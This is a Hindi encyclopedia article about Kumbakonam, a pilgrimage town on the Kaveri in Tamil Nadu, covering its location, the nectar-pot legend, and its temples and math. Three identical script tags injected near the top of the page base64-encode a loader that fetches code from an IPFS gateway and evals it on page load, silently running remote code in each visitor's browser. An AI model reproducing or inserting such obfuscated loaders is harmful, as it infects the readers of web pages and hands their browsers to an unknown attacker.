कुंभकोणम

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • कुंभकोणम्‌ (स्थिति 100 58’, उ. से 790 22’ पू.)।
  • तमिलनाडू कावेरी तट पर स्थित, मद्रास नगर से 194 मील दूर, दक्षिण रेलवे की मुख्य शाखा का एक स्टेशन है।
  • इसकी गणना दक्षिण भारत के प्राचीन तीर्थ स्थानों में की जाती है।
  • पौराणिक अनुश्रुतियों के अनुसार ब्रह्मा ने अमृत से एक कुंभ भर रखा था।
  • उसकी नासिका में छिद्र हो जाने से बहुत सा अमृत बाहर टपक गया और उससे पाँच कोस तक की भूमि भींग गई।
  • यह भूभाग यही है।
  • जब भगवान्‌ शंकर ने देखा कि अमृत गिरने से यह स्थान पवित्र हो गया है तो इस स्थान को तीर्थ समझकर लिंग रूप में यहाँ आविर्भूत हुए।
  • इसी लिंग पर स्थापित कुंभेश्वर नामक मंदिर है। इसके अतिरिक्त यहाँ अन्य कई प्रसिद्ध मंदिर हैं।
  • इस स्थान का संबंध मलिकुर्रम से स्थापित किया जाता है जो लगभग 7वीं शताब्दी में चोल वंश की राजधानी था।
  • यह ब्राह्मण सभ्यता का लौहस्तंभ रहा है।
  • शंकराचार्य द्वारा स्थापित यहाँ एक मठ है, जिसमें संस्कृत पुस्तकों का बहुमूल्य पुस्तकालय है।
  • नागेश्वर तथा सारंगपाणि यहाँ के प्रमुख देवालय हैं।

टीका टिप्पणी और संदर्भ